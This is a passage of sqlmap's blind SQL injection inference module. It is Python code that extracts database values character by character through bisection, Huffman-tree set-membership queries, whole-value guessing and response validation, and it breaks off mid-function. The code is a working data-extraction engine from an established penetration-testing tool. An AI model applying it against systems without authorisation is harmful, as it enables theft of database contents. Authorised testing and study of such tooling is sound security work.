#!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import difflib import heapq import re import time from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeDbmsHexValue from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter from lib.core.common import getFileItems from lib.core.common import getPartRun from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import getText from lib.core.common import predictValue from lib.core.common import removeDynamicContent from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.wordlist import Wordlist from lib.core.settings import BOOLEAN_MODEL_MATCH_RATIO from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import HUFFMAN_PROBE_LIMIT from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS from lib.core.settings import CATALOG_IDENTIFIERS_PRIOR_PEAK from lib.core.settings import DUMP_CHARSET_STABLE_ROWS from lib.core.settings import LOW_CARDINALITY_MAX_GUESSES from lib.core.settings import LOW_CARDINALITY_THRESHOLD from lib.core.settings import NAME_PREDICTION_CONTEXTS from lib.core.settings import NAME_MARKOV_ORDER from lib.core.settings import ORACLE_LITMUS_CHECK_EVERY from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_INT from lib.core.settings import MAX_REVALIDATION_STEPS from lib.core.settings import NULL from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.techniques.blind import multibit from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from lib.utils.xrange import xrange from thirdparty import six # Sentinel returned by the (default-on, '--no-huffman') Huffman retrieval meaning "this character # is outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection". _HUFFMAN_FALLBACK = object() # Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process _huffmanPriorCache = {} def normalizedExpression(expression): """ Row-independent form of a per-row retrieval expression: the paginated offset/limit that varies from row to row is masked so every row of the same column maps to a single key. Used to group a column's values for low-cardinality guessing and for its per-column online Huffman model. >>> normalizedExpression("SELECT name FROM users LIMIT 3,1") == normalizedExpression("SELECT name FROM users LIMIT 7,1") True """ retVal = expression for pattern in (r"\bLIMIT\s+\d+\s*,\s*\d+", r"\bLIMIT\s+\d+\s+OFFSET\s+\d+", r"\bOFFSET\s+\d+", r"\bLIMIT\s+\d+", r"\bROWNUM\b\s*[<>=]+\s*\d+", r"\bTOP\s+\d+", r"\bFETCH\s+(?:FIRST|NEXT)\s+\d+"): retVal = re.sub(pattern, lambda match: re.sub(r"\d+", "?", match.group(0)), retVal, flags=re.I) return retVal def getHuffmanPrior(order, scale, dbms=None): """ Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman set-membership tree during blind NAME enumeration (so it predicts from the first character rather than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching [] section of catalog-identifiers.tx_ - a single global model dilutes across dialects). Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model. """ if (order, scale, dbms) in _huffmanPriorCache: return _huffmanPriorCache[(order, scale, dbms)] prior = {} names = [] for path in (paths.COMMON_COLUMNS, paths.COMMON_TABLES): try: names.extend(getFileItems(path)) except Exception: pass if dbms: wordlist = None try: wordlist = Wordlist(paths.CATALOG_IDENTIFIERS) # transparently decompresses the shipped .tx_ section = None for line in wordlist: line = getText(line).strip() if not line or line.startswith('#'): continue if line.startswith('[') and line.endswith(']'): section = line[1:-1] elif section == dbms: names.append(line) except Exception: pass finally: if wordlist is not None: wordlist.closeFP() for name in names: terminated = name + "\x00" for i in xrange(len(terminated)): ordinal = ord(terminated[i]) if ordinal < 128: counts = prior.setdefault(terminated[max(0, i - order):i], {}) counts[ordinal] = counts.get(ordinal, 0) + 1 for counts in prior.values(): peak = max(counts.values()) or 1 for ordinal in counts: counts[ordinal] = max(1, int(round(counts[ordinal] * float(scale) / peak))) _huffmanPriorCache[(order, scale, dbms)] = prior return prior def contextWeights(model, prior, order, prefix): """ Combined next-character weights P(next | last `order` chars) from the per-run online `model` plus the optional shipped Markov `prior`, backing off to shorter contexts (Katz-style) when the deepest context has not been seen yet. The online model is snapshotted under kb.locks.prediction because value-parallel workers may mutate it concurrently (a bare iteration could otherwise raise). """ weights = {} context = prefix[-order:] if order > 0 else "" while True: with kb.locks.prediction: online = dict(model.get(context) or ()) for source in (online, prior.get(context) if prior is not None else None): if source: for symbol, count in source.items(): weights[symbol] = weights.get(symbol, 0) + count if weights or not context: break context = context[1:] return weights def valueMatchCondition(expressionUnescaped, value): """ Boolean SQL that is TRUE iff (expressionUnescaped) equals the whole `value` (extracted so far as a string), or None when a whole-value equality cannot be trusted and the caller must fall back to per-character extraction. Used by low-cardinality guessing and by the value-parallel self-verification. Returns None for values containing non-ASCII characters: those are extracted correctly byte-wise by the classic bisection, but a single quoted/CHAR()-encoded literal may not round-trip to the same bytes on every back-end, so a whole-value "=" could spuriously miss (and, for verification, drive a needless re-extraction). ASCII values compare reliably. On SQLite (dynamically typed) the dump's COALESCE(col, ...) wrapper loses column affinity, so for a numeric column "1 = '1'" is FALSE and the quoted form would never hit; there we ALSO test the bare- number form. That extra form is emitted ONLY for SQLite: on strictly-typed engines (e.g. PostgreSQL) "text = 1" is a hard type error that would abort the whole boolean, and there the expression is already text-cast so the quoted form matches anyway. Correctness is unaffected either way - this only decides whether a whole-value shortcut hits or falls back to per-character extraction. >>> valueMatchCondition("q", "abc").count("OR") 0 >>> valueMatchCondition("q", u"caf\\xe9") is None True """ if value is None or any(ord(_) >= 128 for _ in value): return None quoted = unescaper.escape("'%s'" % value) if "'" not in value else unescaper.escape("%s" % value, quote=False) condition = "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, quoted) if re.match(r"\A-?\d+(\.\d+)?\Z", value) and Backend.getIdentifiedDbms() == DBMS.SQLITE: condition = "(%s OR (%s)%s%s)" % (condition, expressionUnescaped, INFERENCE_EQUALS_CHAR, value) return condition def oracleReliabilityLitmus(expressionUnescaped, value, timeBasedCompare): """ Known-answer differential health-check on the inference oracle, using the value just extracted. Fires TWO probes on the SAME cell: "(expr) = value" (must be TRUE) and "(expr) = " (must be FALSE). A healthy oracle answers TRUE/FALSE; an always-true channel (e.g. a WAF returning 200 for everything, a reads-everything-true endpoint) trips the FALSE probe, and a flaky/degraded one trips either - so silent data corruption becomes a detectable signal. Returns True if the oracle behaved consistently (or the check is not applicable), False on a detected inconsistency. Skips (returns True) for values valueMatchCondition() cannot reliably compare (non-ASCII). """ if not value or valueMatchCondition(expressionUnescaped, value) is None: return True # a definitely-different copy: flip the last character to a neighbour that cannot equal it corrupt = value[:-1] + ("a" if value[-1] != "a" else "b") corruptCondition = valueMatchCondition(expressionUnescaped, corrupt) if corruptCondition is None: return True try: truthy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, valueMatchCondition(expressionUnescaped, value)))) mustBeTrue = Request.queryPage(agent.payload(newValue=truthy), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) falsy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, corruptCondition))) mustBeFalse = Request.queryPage(agent.payload(newValue=falsy), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) except Exception: return True # a transient hiccup is not evidence of an unreliable oracle return bool(mustBeTrue) and not bool(mustBeFalse) def _resemblesNeitherModel(page): """ Returns True when a boolean extraction response resembles NEITHER the calibrated TRUE nor FALSE model (kb.trueTemplate / kb.falseTemplate). A transient response that keeps the expected HTTP code but swaps the body for junk (WAF/CDN interstitial, captcha, maintenance banner, empty/truncated page) is invisible to the HTTP-code check, so it is flagged here for an extra validateChar re-check. This only ever ADDS a re-validation - it never changes a decided bit - so it is a safe no-op on a clean target (every response resembles its own model) and when no models were recorded (a resumed session, or a non-boolean technique). """ refs = [_ for _ in (kb.trueTemplate, kb.falseTemplate) if _] if not refs: return False if page is None: return True cleaned = removeDynamicContent(page) for ref in refs: if difflib.SequenceMatcher(None, removeDynamicContent(ref), cleaned).quick_ratio() >= BOOLEAN_MODEL_MATCH_RATIO: return False return True def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 columnKey = None hexEncoded = False if payload is None: return 0, None if charsetType is None and conf.charset: # conf.charset is fixed for the whole run; compute the table once, not per bisection() call if kb.cache.charsetAsciiTbl is None: kb.cache.charsetAsciiTbl = sorted(set(ord(_) for _ in conf.charset)) asciiTbl = kb.cache.charsetAsciiTbl else: asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: pass elif PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal if Backend.isDbms(DBMS.MCKOI): match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) if match: original = queries[Backend.getIdentifiedDbms()].inference.query right = original.split('<')[1] payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) expression = match.group(1).strip() elif Backend.isDbms(DBMS.FRONTBASE): match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) if match: payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) expression = match.group(2).strip() try: # kb.partRun tags the enumeration context so predictive inference (predictValue) fires for BOTH # the value-parallel and the classic serial name-enumeration paths. It is derived from the call # stack here (alias form for prediction; raw for API/JSON tagging); the derivation only overwrites # when it finds a match, so it does NOT clobber the context the value-parallel helper set for its # worker threads (whose call stack does not include the enumeration method -> getPartRun is None). derivedPartRun = getPartRun(alias=not (conf.api or conf.reportJson)) if derivedPartRun is not None: kb.partRun = derivedPartRun if partialValue: firstChar = len(partialValue) elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): firstChar = 0 elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): lastChar = 0 elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) if kb.fileReadMode: # Note: file content is retrieved hex-encoded (2 chars per byte), mirroring the firstChar handling above lastChar <<= 1 elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) # Row-independent key for this column (pagination offset masked), grouping all of a column's # rows for low-cardinality guessing and for its own per-column online Huffman model. columnKey = normalizedExpression(expression) if dump else None # Whole-value equality shortcuts (low-card guess, litmus) compare a hex-DECODED value against a # HEX()-wrapped expression -> always miss; skip them when hex-encoding (--hex / --binary-fields). hexEncoded = bool(conf.hexConvert or kb.binaryField) # Low-cardinality whole-value guessing: when the distinct values already seen for this column are # few (<= LOW_CARDINALITY_THRESHOLD), confirm the current cell by equality against each of them # (one request on a hit) before per-character extraction - a large win on the enum/flag/status/ # category/type columns that dominate real tables. Self-verifying (a wrong candidate simply fails). # Especially valuable for TIME-BASED blind: a hit confirms the whole value in a single delayed # request instead of ~7 delays/char x N chars. The repetition gate below ensures it only ever fires # on genuinely low-cardinality columns, so unique identifier names never pay a wasted probe/delay. if columnKey is not None and not partialValue and not hexEncoded: # Snapshot the shared cache under the lock (value-parallel workers may mutate it concurrently). with kb.locks.prediction: seen = dict(kb.lowCardCache.get(columnKey) or ()) # Arm only once SOME value has repeated (max count >= 2): that is the proof the column is # low-cardinality, so an all-unique column (primary key, hash, free text) never spends a probe. # Once armed, try at most LOW_CARDINALITY_MAX_GUESSES candidates (most frequent first), so a # column that trips the threshold with many near-unique values wastes only a bounded number of # probes. A wrong guess costs one probe (self-verifying); a right one confirms the whole value. if seen and len(seen) <= LOW_CARDINALITY_THRESHOLD and max(seen.values()) >= 2: for candidate in sorted(seen, key=lambda value: -seen[value])[:LOW_CARDINALITY_MAX_GUESSES]: matchCondition = valueMatchCondition(expressionUnescaped, candidate) if matchCondition is None: # non-ASCII: no reliable whole-value equality, extract per-char continue forgedQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition))) hit = Request.queryPage(agent.payload(newValue=forgedQuery), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if hit and timeBasedCompare: # A single time-based boolean is noisy; confirm the whole-value hit with a # not-equals check (validateChar spirit) before trusting it, so timing jitter can # never ship a wrong low-cardinality value. Still ~2 delayed requests/value vs the # ~7-delays/char x N of full extraction. notEqualsQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, "NOT(%s)" % matchCondition))) hit = not Request.queryPage(agent.payload(newValue=notEqualsQuery), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if hit: threadData.lowCardHit = True return getCounter(getTechnique()), candidate # Model driving the Huffman set-membership tree. Name enumeration keys on the enumeration context # and is seeded with the fingerprinted back-end's identifier prior, so the tree predicts a name # from the first character (structured, low-entropy identifiers). A data dump uses a PER-COLUMN # order-0 model: each column learns its own character distribution, so a column restricted to few # characters (hex/uuid, digits, dates, a constant/NULL placeholder) is forced from those alone # (e.g. ~4 requests/char on hex instead of ~6, ~1 on a constant) with no cross-column dilution. # Order 0 needs no sequential prefix, so it works under the position-parallel (per-value) threads # too; a higher-order per-column model was measured to lose to its own cold-start, so order 0 it is. if kb.partRun in NAME_PREDICTION_CONTEXTS: huffmanKey, huffmanOrder = kb.partRun, NAME_MARKOV_ORDER huffmanPrior = getHuffmanPrior(NAME_MARKOV_ORDER, CATALOG_IDENTIFIERS_PRIOR_PEAK, Backend.getIdentifiedDbms()) else: huffmanKey, huffmanOrder, huffmanPrior = columnKey, 0, None if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) if kb.bruteMode: numThreads = 1 else: numThreads = min(conf.threads or 0, length or 0) or 1 if showEta: progress = ProgressBar(maxValue=length) if numThreads > 1: if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): if isinstance(length, int) and numThreads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) def tryHint(idx): with kb.locks.hint: hintValue = kb.hintValue if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: if "'%s'" % CHAR_INFERENCE_MARK in payload: posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = agent.extractPayload(payload) or "" forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue) forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return hintValue[idx - 1] with kb.locks.hint: kb.hintValue = "" return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ threadData = getCurrentThreadData() validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = validationPayload.replace(markingValue, unescapedCharValue) forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) def _check(): result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and getTechniqueData() is not None: trueCode, falseCode = getTechniqueData().trueCode, getTechniqueData().falseCode if timeBasedCompare: if trueCode: result = threadData.lastCode == trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, trueCode) singleTimeWarnMessage(warnMsg) # A boolean validation confirmed under an UNEXPECTED HTTP code (a transient 5xx/403/429/.. # landing on the validation request itself) is not trustworthy - fail it so the character is # re-extracted, riding out the blip. On a clean target every code is true/false -> no-op. elif threadData.lastCode is not None and any((trueCode, falseCode)) and threadData.lastCode not in (trueCode, falseCode): result = False singleTimeWarnMessage("unexpected HTTP code '%s' during validation phase; will re-extract" % threadData.lastCode) incrementCounter(getTechnique()) return result # Adaptive majority vote: once jitter has been observed this run a single re-check can itself # be corrupted, so confirm the character by best-of-3 independent re-checks. Confidence-gated # -> exact no-op (single check) on a clean run or before any jitter is seen. if kb.get("jitterSeen"): votes = [_check() for _ in xrange(3)] return votes.count(True) >= 2 return _check() def huffmanChar(idx): """ Adaptive retrieval of a single character using set-membership ("... IN (...)") questions driven by a Huffman tree built from an online frequency model of the data retrieved so far (used by default for blind table dumps; '--no-huffman' disables it). The expected number of requests approaches the data's entropy (fewer on text/hex), while uniform/binary data yields a balanced tree (i.e. no penalty versus the classic bisection). Correctness does NOT depend on the (shared, racily updated) model: the tree is a decision tree over the whole 0..127 range plus a dedicated ESCAPE leaf. At every node the child that does NOT contain ESCAPE is the one tested, so any value outside 0..127 (e.g. multi-byte/Unicode) fails every membership test, lands on ESCAPE and is handed back to the classic bisection. Returns the character, or None to fall back. """ ESCAPE = -1 model = kb.huffmanModel.setdefault(huffmanKey, {}) threadData = getCurrentThreadData() # Next-character weights P(next | last huffmanOrder chars) from this retrieval's own online # model plus, for name enumeration, the shipped identifier prior (so the tree is warm from the # first character); order 0 collapses to the classic single-context adaptive model. Retrieval # is correct regardless of the weights (the tree spans the whole range plus an ESCAPE leaf), so # the model - even raced under threads - only ever affects speed, never the returned value. context = partialValue[-huffmanOrder:] if huffmanOrder > 0 else "" weights = contextWeights(model, huffmanPrior, huffmanOrder, partialValue) heap = [] for order, ordinal in enumerate(xrange(128)): heapq.heappush(heap, (weights.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) heapq.heappush(heap, (max(weights.get(ESCAPE, 0), 1), 128, (ESCAPE,))) counter = 129 while len(heap) > 1: w1, _, n1 = heapq.heappop(heap) w2, _, n2 = heapq.heappop(heap) heapq.heappush(heap, (w1 + w2, counter, (n1, n2))) counter += 1 node = heap[0][2] def _concrete(n): if len(n) == 1: return [] if n[0] == ESCAPE else [n[0]] return _concrete(n[0]) + _concrete(n[1]) def _hasEscape(n): return n[0] == ESCAPE if len(n) == 1 else (_hasEscape(n[0]) or _hasEscape(n[1])) template = payload.replace("%s%s" % (INFERENCE_GREATER_CHAR, "%d"), " IN (%s)", 1) while len(node) == 2: left, right = node if _hasEscape(left): testNode, otherNode = right, left elif _hasEscape(right): testNode, otherNode = left, right else: leftLeaves, rightLeaves = _concrete(left), _concrete(right) testNode, otherNode = (left, right) if len(leftLeaves) <= len(rightLeaves) else (right, left) testSet = _concrete(testNode) setExpr = ','.join(str(_) for _ in testSet) forgedPayload = safeStringFormat(template, (expressionUnescaped, idx, setExpr)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Guard against target-side length limits / WAFs that reject the (potentially long) # "IN (...)" list: an HTTP error code that is not the technique's own true/false code means # this membership query was rejected (e.g. 414 URI Too Long, 413, 400, 403), so the walk # cannot be trusted. Abandon it and hand the character to the classic short-query ('>' / '=') # bisection, which re-extracts and validates it; the escape counter in getChar() latches # Huffman off (kb.disableHuffman) if the rejection keeps happening. Gated on >= 400 so a # normal content-based (200/200) response never trips it. if not timeBasedCompare and threadData.lastCode is not None and threadData.lastCode >= 400 and (getTechniqueData() is None or threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)): return _HUFFMAN_FALLBACK node = testNode if result else otherNode value = node[0] if value == ESCAPE: with kb.locks.prediction: model.setdefault(context, {})[ESCAPE] = model.setdefault(context, {}).get(ESCAPE, 0) + 1 return _HUFFMAN_FALLBACK if value == 0: # ORD(MID(..)) of an empty (past end-of-string) character is 0; mirror the classic # bisection and signal end-of-string (do NOT pollute the model with the sentinel). return None # One-time safety validation: cross-check the first set-membership result with a short # equality probe. Unlike the long IN() lists, a single '=N' comparison cannot be # truncated/mangled by a parameter-length limit or a WAF, so it is a trustworthy oracle. # If it disagrees, the IN() channel is unreliable here: latch the technique off so the # classic '>' bisection takes over for the rest of the run (graceful fallback). if not kb.huffmanValidated: verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value)) verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if verified: kb.huffmanValidated = True else: kb.disableHuffman = True return _HUFFMAN_FALLBACK with kb.locks.prediction: model.setdefault(context, {})[value] = model.setdefault(context, {}).get(value, 0) + 1 return decodeIntToUnicode(value) def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None, restricted=False): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 restricted means charTbl is a narrowed per-column observed range (time-based only): a character landing outside it fails validateChar and is re-extracted over the full charset. """ threadData = getCurrentThreadData() result = tryHint(idx) if result: return result # Huffman set-membership applies to boolean-based dumps and name enumeration. It stays off for # time-based, where each membership step is timing-noisy and lacks per-character validation # (measured to trade accuracy for little/no gain there); time-based relies on plain bisection # plus low-cardinality whole-value guessing instead. if (not conf.noHuffman and not kb.disableHuffman and (dump or kb.partRun in NAME_PREDICTION_CONTEXTS) and continuousOrder and charsetType is None and not timeBasedCompare and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload and ("'%s'" % CHAR_INFERENCE_MARK) not in payload): kb.huffmanProbes = (kb.huffmanProbes or 0) + 1 result = huffmanChar(idx) if result is not _HUFFMAN_FALLBACK: return result # huffman declined this character (Unicode/escape, or failed the validation probe). # If the set-membership channel keeps escaping it is not paying off here (trimmed/ # blocked long payloads, or non-ASCII-heavy data) -> latch off so the classic '>' # bisection takes over efficiently for the rest of the run. kb.huffmanEscapes = (kb.huffmanEscapes or 0) + 1 if kb.huffmanProbes >= HUFFMAN_PROBE_LIMIT and kb.huffmanEscapes * 2 >= kb.huffmanProbes: kb.disableHuffman = True if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if kb.disableShiftTable: shiftTable = None elif continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace (Note: leading value covers MySQL's # 4-byte ORD() range for emoji/supplementary-plane, then 3-byte for CJK - see issue #5171) shiftTable = [8, 4, 2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: if not isinstance(charTbl, list): charTbl = list(charTbl) charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False unexpectedResponse = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None else: if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = payload.replace(markingValue, unescapedCharValue) forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if not timeBasedCompare and getTechniqueData() is not None: unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: if threadData.lastCode is not None: warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode else: warnMsg = "unexpected response detected." warnMsg += " Will use (extra) validation step in similar cases" singleTimeWarnMessage(warnMsg) # same-HTTP-code body anomaly (WAF/CDN interstitial, captcha, maintenance, empty # or truncated body) - invisible to the code check above, so re-validate when the # response resembles neither calibrated model elif not unexpectedResponse and not kb.nullConnection and _resemblesNeitherModel(threadData.lastPage): unexpectedResponse = True singleTimeWarnMessage("unexpected response content detected. Will use (extra) validation step in similar cases") if unexpectedCode or unexpectedResponse: kb.jitterSeen = True # latch: jitter observed -> escalate validateChar to a vote if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: # xrange() - extended virtual charset used 